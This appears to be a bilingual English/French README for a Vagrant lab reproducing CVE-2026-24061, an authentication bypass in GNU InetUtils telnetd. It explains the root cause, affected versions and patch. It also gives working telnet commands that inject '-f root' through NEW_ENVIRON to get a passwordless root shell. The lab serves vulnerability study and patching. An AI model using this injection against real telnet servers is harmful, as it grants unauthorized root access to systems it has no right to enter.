Share
## https://sploitus.com/exploit?id=4D212348-0CE4-5BBD-86E0-05C3D2BF492E
# CVE-2026-24061 â Reproduction Lab
> â ïž **For educational purposes only. Isolated lab environment.**
*[Français ci-dessous](#cve-2026-24061--lab-de-démonstration)*
---
## Summary
Critical authentication bypass (CVSS 9.8) in GNU InetUtils telnetd †2.7.
By injecting `-f root` as the USER variable via the Telnet NEW_ENVIRON option,
an unauthenticated attacker can obtain a root shell without any password.
## Root Cause
The USER variable received from the client during Telnet negotiation is passed
directly to `/usr/bin/login` without sanitization:
```
/usr/bin/login -p -f root
```
The `-f` flag tells `login` to skip password verification for the given user.
This behavior is documented in RFC 1572 (Section 7) as a known risk â yet the
bug was present in inetutils for over a decade.
## Affected Versions
GNU InetUtils telnetd 1.9.3 through 2.7
## Patch
Upgrade to GNU InetUtils â„ 2.7-2
## Lab Setup
This lab uses **Vagrant** to provision a real isolated VM running the vulnerable
version of telnetd (inetutils 2.5, compiled from source), making it as close as
possible to a real environment.
**Requirements:** Vagrant + VirtualBox installed on your machine.
```bash
git clone https://github.com/agokoli/cve-2026-24061-lab
cd cve-2026-24061-lab
vagrant up
```
The VM starts with IP `192.168.56.10` and telnetd listening on port 23.

## Exploitation
From your host machine:
```bash
telnet
telnet> environ define USER "-f root"
telnet> open 192.168.56.10 23
```
The USER variable is injected via the NEW_ENVIRON Telnet option during the
negotiation phase â before the login prompt appears.


## References
- [NVD â CVE-2026-24061](https://nvd.nist.gov/vuln/detail/CVE-2026-24061)
- [RFC 1572 â Telnet Environment Option](https://www.rfc-editor.org/rfc/rfc1572)
- [GNU InetUtils source â telnetd/sys_term.c](https://codeberg.org/inetutils/inetutils/src/tag/v2.5/telnetd/sys_term.c)
## Author
Agokoli
---
---
# CVE-2026-24061 â Lab de dĂ©monstration
> â ïž **Usage Ă©ducatif uniquement. Environnement isolĂ©.**
*[English above](#cve-2026-24061--reproduction-lab)*
---
## Résumé
Contournement d'authentification critique (CVSS 9.8) dans GNU InetUtils telnetd †2.7.
En injectant `-f root` comme valeur de la variable USER via l'option Telnet NEW_ENVIRON,
un attaquant non authentifié peut obtenir un shell root sans aucun mot de passe.
## Cause racine
La variable USER reçue du client pendant la négociation Telnet est passée
directement Ă `/usr/bin/login` sans validation :
```
/usr/bin/login -p -f root
```
Le flag `-f` indique à `login` de ne pas vérifier le mot de passe pour l'utilisateur donné.
Ce risque est documentĂ© dans la RFC 1572 (Section 7) â pourtant le bug est restĂ©
présent dans inetutils pendant plus d'une décennie.
## Versions affectées
GNU InetUtils telnetd 1.9.3 Ă 2.7
## Correctif
Mettre Ă jour vers GNU InetUtils â„ 2.7-2
## Mise en place du lab
Ce lab utilise **Vagrant** pour provisionner une vraie VM isolée faisant tourner
la version vulnérable de telnetd (inetutils 2.5, compilé depuis les sources),
afin d'ĂȘtre au plus proche d'un environnement rĂ©el.
**Prérequis :** Vagrant + VirtualBox installés sur votre machine.
```bash
git clone https://github.com/agokoli/cve-2026-24061-lab
cd cve-2026-24061-lab
vagrant up
```
La VM démarre avec l'IP `192.168.56.10` et telnetd en écoute sur le port 23.

## Exploitation
Depuis votre machine hĂŽte :
```bash
telnet
telnet> environ define USER "-f root"
telnet> open 192.168.56.10 23
```
La variable USER est injectée via l'option NEW_ENVIRON du protocole Telnet pendant
la phase de nĂ©gociation â avant mĂȘme l'apparition du prompt `login:`.


## Références
- [NVD â CVE-2026-24061](https://nvd.nist.gov/vuln/detail/CVE-2026-24061)
- [RFC 1572 â Telnet Environment Option](https://www.rfc-editor.org/rfc/rfc1572)
- [Code source GNU InetUtils â telnetd/sys_term.c](https://codeberg.org/inetutils/inetutils/src/tag/v2.5/telnetd/sys_term.c)
## Auteur
Agokoli